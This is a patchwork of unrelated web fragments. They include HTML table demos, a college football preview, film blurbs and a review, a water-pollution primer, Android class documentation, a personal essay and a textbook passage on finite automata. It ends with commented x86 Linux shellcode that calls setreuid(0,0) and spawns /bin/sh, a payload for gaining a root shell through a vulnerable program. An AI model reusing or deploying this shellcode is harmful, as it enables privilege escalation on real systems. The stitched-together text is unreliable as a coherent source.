The following more complex example (which also demonstrates the use of vector icons) uses the colgroup-borders
class to highlight the groups. Unfortunately, we can't display rounded corners when using column group borders due to limitations in CSS.
Example with grouped columns
| Code-Page ID |
Name | ACP | OEMCP | Windows NT 3.1 |
Windows NT 3.51 |
Windows 95 |
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| 1200 | Unicode (BMP of ISO/IEC-10646) | |||||
| 1250 | Windows 3.1 Eastern European | |||||
| 1251 | Windows 3.1 Cyrillic | |||||
| 1252 | Windows 3.1 US (ANSI) | |||||
| 1253 | Windows 3.1 Greek | |||||
| 1254 | Windows 3.1 Turkish | |||||
| 1255 | Hebrew | |||||
| 1256 | Arabic | |||||
| 1257 | Baltic | |||||
| 1361 | Korean (Johab) | |||||
| 437 | MS-DOS United States | |||||
| 708 | Arabic (ASMO 708) | |||||
| 709 | Arabic (ASMO 449+, BCON V4) | |||||
| 710 | Arabic (Transparent Arabic) | |||||
| 720 | Arabic (Transparent ASMO) |
Source: Appendix E: Code Page Support in Microsoft Windows, Microsoft Developer Network (msdn.microsoft.com)
Use this as a reference guide for inline semantic text elements. This entire table and its examples have been taken from the W3C page about text-level semantics (modified slightly).
| Element | Purpose | Example |
|---|---|---|
a |
Hyperlinks | Visit my drinks page. |
em |
Stress emphasis | I must say I adore lemonade. |
strong |
Importance | This tea is very hot. |
small |
Side comments | These grapes are made into wine. Alcohol is addictive. |
s |
Inaccurate text | Price: |
cite |
Titles of works | The case Hugo v. Danielle is relevant here. |
q |
Quotations | The judge said You can drink water from the fish tankbut advised against it. |
dfn |
Defining instance | The term organic food refers to food produced without synthetic chemicals. |
abbr |
Abbreviations | Organic food in Ireland is certified by the IOFGA. |
data |
Machine-readable equivalent | Available starting today! North Coast Organic Apple Cider |
time |
Machine-readable equivalent of date- or time-related data | Available starting on ! |
code |
Computer code | The fruitdb program can be used for tracking fruit production. |
var |
Variables | If there are n fruit in the bowl, at least n÷2 will be ripe. |
samp |
Computer output | The computer said Unknown error -3. |
kbd |
User input | Hit F1 to continue. |
sub |
Subscripts | Water is H2O. |
sup |
Superscripts | The Hydrogen in heavy water is usually 2H. |
i |
Alternative voice | Lemonade consists primarily of Citrus limon. |
b |
Keywords | Take a lemon and squeeze it with a juicer. |
u |
Annotations | The mixture of apple juice and eldeflower juice is very pleasant. |
mark |
Highlight | Elderflower cordial, with one part cordial to ten parts water, stands apart from the rest. |
ruby , rb , rp , rt , rtc |
Ruby annotations | OJ |
bdi |
Text directionality isolation | The recommended restaurant is My Juice Café (At The Beach). |
bdo |
Text directionality formatting | The proposal is to write English, but in reverse order. "Juice" would become "Juice". |
span |
Other | In French we call it sirop de sureau. |
br |
Line break | Simply Orange Juice Company Apopka, FL 32703 U.S.A. |
wbr |
Line breaking opportunity | www.simply |
Source: 4.5 Text-level semantics (4.5.31 Usage summary), HTML5 Working Draft (w3.org). By the W3C HTML Working Group. Retrieved Jun 23, 2014.


Penn State vs. Indiana Game Time, Spread, Channel, Announcers
by Andrew McCartyPenn State had an opportunity to enter its game against Ohio State as one of the top-three teams in the country. However, with their loss to Minnesota on Saturday afternoon, the Nittany Lions will likely fall short once more of a Big Ten title.
Penn State would have to win-out, which means a win over Ohio State in Columbus. The Nittany Lions have a chance to bounce back this weekend with a home game against a surprising Indiana team.
The Hoosiers sit at 7-2 on the season and have won four-straight games heading into Saturday afternoon’s game.
Tim Allen’s Hoosiers boast a solid defense that gives up just 20 points per game. Can they slow down a Penn State offense that scores over 37 points per contest?
More on tomorrow’s huge Big Ten game:
Game Time: Saturday, 12:00 p.m. ET
Channel: ABC
Spread: Penn State -14.5
Over/Under: 55.5
Announcers:Jason Bennetti, Rod Gilmore, Quint Kessenich
Indiana’s only two losses have come from Ohio State and Michigan State. The Hoosiers are riding a nice win-streak and have the momentum heading into Beaver Stadium this weekend.
Meanwhile, James Franklin needs to right the ship with a win on Saturday to have a shot at a conference title and potential College Football Playoff berth.


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If you're not sure how to express yourself, try some of these gifs provided by the fine folks at GIPHY!
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Spanning the years 1945 to 1955, a chronicle of the fictional Italian-American Corleone crime family. When organized crime family patriarch, Vito Corleone barely survives an attempt on his life, his youngest son, Michael steps in to take care of the would-be killers, launching a campaign of bloody revenge.
Released: 1972-03-14


Ocean Litter
Litter in the world's oceans come from many sources, including containers that fall off ships, trash that washes off city streets into rivers that lead into the sea, and waste from landfills that blows into streams or directly into the ocean.
Marine life can become entangled in a variety of ocean debris including fishing nets,lines, and lures. Plastic pollution leads to the deaths of millions of marine birds each year.
Waste in a lake
Acid Rain
Acid rain is primarily caused by the release of sulfur and nitrogen into the atmosphere as a result of the combustion of oil and coal by power plants and automobiles." Acid rain pollutes water as the rainfall drains toward lakes, streams, ponds and tributaries.
Acid Rain effects the fish population.It reduces fish population numbers, completely eliminate fish species from a waterbody, and decrease biodiversity.It also causes fish to have problems with reproduction and finding food.
The effect of acid rain on trees.
Oil
Oil spills into rivers, bays, and the ocean mostly are caused by accidents involving tankers, barges, pipelines , refineries, drilling rigs, and storage facilities. Spills can be caused by people making mistakes or being careless.
Oil cannot dissolve in water and forms a thick sludge in the water. This suffocates fish, gets caught in the feathers of marine birds stopping them from flying and blocks light from photosynthetic aquatic plants. Many birds and animals also ingest oil when they try to clean themselves, which can poison them.
It is estimated that approximately 706 million gallons of waste oil enter the ocean every year with over half coming from land drainage and waste disposal.
Oil when in water
Other Types Of Water Pollution
- Radioactive Substances- Radioactive substances are atoms that decay naturally. They can give off alpha particles, beta particles and gamma radiation
- Chemical Water Pollution- Common pollutants include human or animal waste; disease-producing organisms; radioactive materials; toxic metals such as lead or mercury; agricultural chemicals such as pesticides, herbicides, or fertilizers; acid rain ; and high-temperature water discharged from power plants, often called "thermal pollution."
- Oxygen Depleting- Oxygen depletion is a phenomenon that occurs in aquatic environments as dissolved oxygen becomes reduced in concentration to a point where it becomes detrimental to aquatic organisms living in the system.
- Surface Water Pollution- Surface water pollution is the pollution of aquatic systems that are above ground, such as streams, lakes and rivers. These waters become polluted when rainwater runoff carries pollutants into the water.
- Nutrients Pollution- Nutrient pollution is the process where too many nutrients, mainly nitrogen and phosphorus, are added to bodies of water and can act like fertilizer, causing excessive growth of algae.
- Sewage and Wastewater- Domestic households, industrial and agricultural practices produce wastewater that can cause pollution of many lakes and rivers. Sewage is the term used for wastewater that often contains faeces, urine and laundry waste.
Fun Facts!
Over 1 million seabirds and 100,000 sea mammals are killed by pollution every year!!
Each year 1.2 trillion gallons of untreated sewage,stormwater, and industrial waste are dumped into US water!


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"The Bastard Operator From Hell"-style excuse server.
The cause of the problem is:
Your/our computer(s) had suffered a memory leak, and we are waiting for them to be topped up.
The BOFH-style excuse generator brought to you by
Jeff Ballard
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Bughouse Chess is a chess variant played on two chessboards by four players on two teams. Normal chess rules apply, except that captured pieces on one board are passed on to the players of the other board, who then have the option of putting these pieces on the board.
Adapted from WikipediaType in a room name to join or create a chess room. Any number of onlookers can also join. There need not be four players to begin play. All players must be present before play, otherwise the board will be corrupted.


This tool draws a simple test image using JavaScript commands.
I use the generated pictures to test the native resolution of displays as well as the implemented scaling strategies.


Helper class which extends to HorizontalScrollView, and sets the layout of the Tabs.
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Inherits HorizontalScrollView.
Helper class which extends to HorizontalScrollView, and sets the layout of the Tabs.
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Another Constructor of the Helper Class.
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| attrs | AttributeSet Object |
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Another Constructor of the Helper Class.
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| attrs | AttributeSet Object |
| defStyle | Default Style Object |
| TextView org.buildmlearn.appstore.utils.SlidingTabLayout.createDefaultTabView |
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| void org.buildmlearn.appstore.utils.SlidingTabLayout.onAttachedToWindow |
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This method is executed when the window is attached to the view.
| void org.buildmlearn.appstore.utils.SlidingTabLayout.populateTabStrip |
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| void org.buildmlearn.appstore.utils.SlidingTabLayout.scrollToTab |
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Scrolls the tabs.
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| positionOffset | Offset applied to the current tab |
| void org.buildmlearn.appstore.utils.SlidingTabLayout.setContentDescription |
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Sets the description to the Content Description property as the xml attribute to the view.
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| i | Current Index |
| desc | Description in String |
| void org.buildmlearn.appstore.utils.SlidingTabLayout.setCustomTabColorizer |
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Set the custom layout to be inflated for the tab views.
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| textViewId | id of the TextView in the inflated view |
| void org.buildmlearn.appstore.utils.SlidingTabLayout.setDistributeEvenly |
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Distributes the tabs evenly in the available space.
| void org.buildmlearn.appstore.utils.SlidingTabLayout.setOnPageChangeListener |
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Sets the colors to be used for indicating the selected tab.
These colors are treated as a circular array. Providing one color will mean that all tabs are indicated with the same color.
| void org.buildmlearn.appstore.utils.SlidingTabLayout.setViewPager |
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Sets the associated view pager.
Note that the assumption here is that the pager content (number of tabs and tab titles) does not change after this call has been made.
| final SparseArray<String> org.buildmlearn.appstore.utils.SlidingTabLayout.mContentDescriptions = new SparseArray<>() |
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| boolean org.buildmlearn.appstore.utils.SlidingTabLayout.mDistributeEvenly |
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| final SlidingTabStrip org.buildmlearn.appstore.utils.SlidingTabLayout.mTabStrip |
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| final int org.buildmlearn.appstore.utils.SlidingTabLayout.mTitleOffset |
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| ViewPager org.buildmlearn.appstore.utils.SlidingTabLayout.mViewPager |
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| ViewPager.OnPageChangeListener org.buildmlearn.appstore.utils.SlidingTabLayout.mViewPagerPageChangeListener |
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| final int org.buildmlearn.appstore.utils.SlidingTabLayout.TAB_VIEW_PADDING_DIPS = 4 |
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| final int org.buildmlearn.appstore.utils.SlidingTabLayout.TAB_VIEW_TEXT_SIZE_SP = 12 |
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| final int org.buildmlearn.appstore.utils.SlidingTabLayout.TITLE_OFFSET_DIPS = 24 |
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The documentation for this class was generated from the following file:
- C:/Users/Srujan/Documents/GitHub/BuildmLearn-Store/Android/source-code/AppStore/app/src/main/java/org/buildmlearn/appstore/utils/SlidingTabLayout.java


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When I think back to the times in my adult life when I have been the happiest, I realize that it boils best down to validation. As a former collegiate athlete, I have experienced some of the purest forms of ecstasy in life after winning championship rowing races. That feeling of immense satisfaction and validation of the months spent in grueling physical and mental training was like a drug. I could revel in its afterglow for days at a time and to this day I look back on those moments with an overwhelming sense of nostalgia.
After college, I took up coaching and found that I could derive a similar sense of accomplishment by helping others achieve their goals. As a soccer coach, I found it incredibly rewarding to watch players develop technical skill and game awareness across a wide variety of ages. I coached 8 year old boys, 10 year old girls, and a middle school soccer team. In some strange sense I could relive the thrill of competition and accomplishment vicariously through them.
Aside from seeking validation for my pursuits in life, I strive to live up to these 5 core values:
I know it sounds a bit cliche to have Faith and Family fill in the number 1 and 2 spot on my list, but since having a daughter the idea of having and belonging to a family has become a lot more important to me. Similarly, my Christian faith has become very important to me in giving me hope in the darker seasons of my life. This has especially been true through the hardships that I have endured in my personal and professional life over the past 2-3 years.
Leadership and mentorship are also very important to me as a coach and former teacher. In light of the struggles I have faced in my life I hope to pay it forward and help other young adults and children as they work through their own issues. Lastly, introspection is a something that I have always been very keen on because I feel that it helps me become a better person. In my relationships with others in my personal life as well as my professional life I always try to internalize and focus on what I could to better and how I could improve. I feel as though this encourages others to do the same and much of this humility comes through my faith and all the mistakes I have made in life.
The last topic anyone asked me for advice on was relationships. In fact, I feel like that seems to be the most frequent area of advice from my friends and colleagues. I have many female friends who always ask me for my perspective as a male, and I have had a couple good guy friends ask me fore advice about a relationship issue.
I don't think anyone seems to catch the irony that they are asking for advice from a guy with a track record of poor relationships, but that is perhaps another matter.
I do feel as though my values will help me alleviate stereotype threat because I am very analytical and self-concious. I am usually hyper sensitive about how others perceive what I say and do, which can be both a blessing and a curse. Sometimes this can lead to a lot of insecurity, but if tempered it can really improve the relationships I have with others because I am usually looking internally to see what I might be able to change for the better.
As I mentioned previously, my introspective qualities often cast a lot of self-doubt over the decisions that I make in life. I have struggled with bouts of depression and anxiety on and off for several years now. One of the things that I know helps alleviate feeling down is having a routine and staying active. Releasing endorphins and feeling accomplished both after a long day of work and some form of excercise helps me relax and stay positive.
I also know that I have to talk through my problems, and that I have always benefitted greatly from having a mentor to talk to. I really hope there is a structure for this at DBC and if not I will try and seek out someone that I can bounce some of my thoughts off of. I find that if I get my thoughts out by writing or talking that they don't bounce around as much inside my head. Sometimes I just need to vent to feel better, and sometimes I need encouragement from other people to validate what I am going through; to know that I am not alone.
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Enables developers to build cross platform apps using HTML / CSS / JS (Angular)
Why Use Ionic
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| HelpMojo |
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| UnpackMojo |
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LEAVING LAS VEGAS A film review by Andrew Hicks Copyright 1997 Andrew Hicks
(1995) ***1/2 (out of four)
I don't think there's been a movie since SCHINDLER'S LIST, or at least DEAD MAN WALKING, that I've been so involved in that it was nearly impossible to get through. Adapted from the John O'Brien novel, LEAVING LAS VEGAS is a portrait of depression that wraps us up in two people, making us know, care and sympathize with them, then leaves us helpless in watching them destroy themselves. This uncompromising Mike Figgis film is an incredible emotional experience that leaves out all the usual Hollywood trappings, save its two stars.
Nicolas Cage plays a writer who has been leaving reality behind, on an escalating basis, since his wife left him. It's to the point where, from the moment he gets up in the morning until he passes out at night, he's in an alcohol-induced stupor and can't allow himself to sober up. So, when he embarrasses himself in front of some colleagues (including one of his fellow DRUNKS, Richard Lewis) and is fired from his job, he sells or burns everything he owns and heads to Las Vegas. He may not have much left, but with the Vegas gamblers, mafiosos, drunks and hookers, at least he'll be in good company.
Cage's plan is to just keep drinking until he dies and, indeed, after one painful bank scene, we never see him sober again. Most of the time, he's guzzling down vodka or tequila like it's Evian water. In Vegas, he meets Elisabeth Shue, a street hooker he takes back to his $29 motel room. She wants to blow him, he wants to talk and it turns out she's just as lonely as he is. And she has her share of problems with abusive pimp Julian Sands slashing her butt cheeks after she returns from a night of work with less cash than required, plus it seems people just don't respect her profession. Hey, people, she works hard for the money!
They work out a beneficially mutual relationship. She has someone to keep her warm nights and he has someone to take care of him -- feed him, clean up after him, direct him to the nearest place he can puke -- and both accept each other without trying to change them. Unfortunately, this means Shue will just have to sit by and watch as Cage's liver gets closer and closer to that of David Crosby and that Cage will have to share Shue with anyone who can cough up a couple hundred bucks, or $175 on double coupon day. But, for each of them, the other is the only caring person they know.
Cage won an Oscar for LEAVING LAS VEGAS, and a completely deserved one at that. He's always fun in action movies and light comedies, but it's almost inconceivable that this is the same guy who starred in AMOS AND ANDREW and CON-AIR. His performance, in conveying the depression and hopelessness of his character while still making him seem human and likeable, in various states of drunkenness no less, goes far beyond anything else Cage has achieved. Shue, as the damned-if-she-do-damned-if-she-don't hooker with a heart of gold, is amazing too. This is a career reviving performance for the woman who seemed so innocent in fluff like ADVENTURES IN BABYSITTING.
The relationship Cage and Shue have with each other is a Catch-22 in which disappointment and loss is inevitable, and once we as viewers realize this, we set ourselves up for the same frustration Shue's character must have, in caring but being unable to stop the path of destruction. LEAVING LAS VEGAS is utterly absorbing because the acting is so incredible, the characters compelling and the writing superior, but it's hard to keep watching because it seems so real and so sad. That was probably O'Brien's goal; he wasn't a happy man himself. He committed suicide shortly after selling the movie rights to LEAVING LAS VEGAS. There's probably a really sad movie in that story too.
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2.4. NONDETERMINISTIC FINITE AUTOMATA
In the start state, on input character
a
, the automaton can move either right or
left. If left is chosen, then strings of
a
’s whose length is a multiple of three
will be accepted. If right is chosen, then even-length strings will be accepted.
Thus, the language recognized by this NFA is the set of all strings of
a
’s
whose length is a multiple of two or three.
On the ﬁrst transition, this machine must choose which way to go. It is
required to accept the string if there is
any
choice of paths that will lead to
acceptance. Thus, it must “guess,” and must always guess correctly.
Edges labeled with
ϵ
may be taken without using up a symbol from the
input. Here is another NFA that accepts the same language:
a
a
a
a
a
∋
∋
Again, the machine must choose which
ϵ
-edge to take. If there is a state
with some
ϵ
-edges and some edges labeled by symbols, the machine can
choose to eat an input symbol (and follow the corresponding symbol-labeled
edge), or to follow an
ϵ
-edge instead.

The conversion algorithm turns each regular expression into an NFA with
a
tail
(start edge) and a
head
(ending state). For example, the single-symbol
regular expression
a
converts to the NFA
a
The regular expression
ab
, made by combining
a
with
b
using concatena-
tion is made by combining the two NFAs, hooking the head of
a
to the tail of
b
. The resulting machine has a tail labeled by
a
and a head into which the
b
edge °ows.
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section .text ; start the code section of the asm global _start ; declare a global label _start: ; keeps the linker from complaining or guessing ;setreuid (0,0) xor eax, eax ; clear the eax registry, prepare the next line mov al, 0x46 ; set the syscall value to decimal 70 or hex 46, one byte xor ebx, ebx ; clear the ebx register, set to 0 xor ecx, ecx ; clear the ecx register, set to 0 int 0x80 ; call kernel to execute the syscall ; spawn shellcode with execve xor eax, eax ; clears the eax register, sets to 0 push eax ; push a null value on the stack, value of eax push 0x68732f2f ; push '//sh' onto the stack, padded with leading '/'. The leading '/' is required for 4 byte alignment and has no effect. push 0x6e69622f ; push /bin onto the stack, notice strings in reverse mov ebx, esp ; since esp now points to "/bin/sh", write to ebx push eax ; eax is still NULL, let's terminate char ** argv on stack push ebx ; still need a pointer to the address of '/bin/sh', use ebx mov ecx, esp ; now esp holds the address of argv, move it to ecx xor edx, edx ; set edx to zero (NULL), not needed mov al, 0xb ; set the syscall # to the decimal 11 or hex b, one byte int 0x80 ; call the kernel to execute the syscall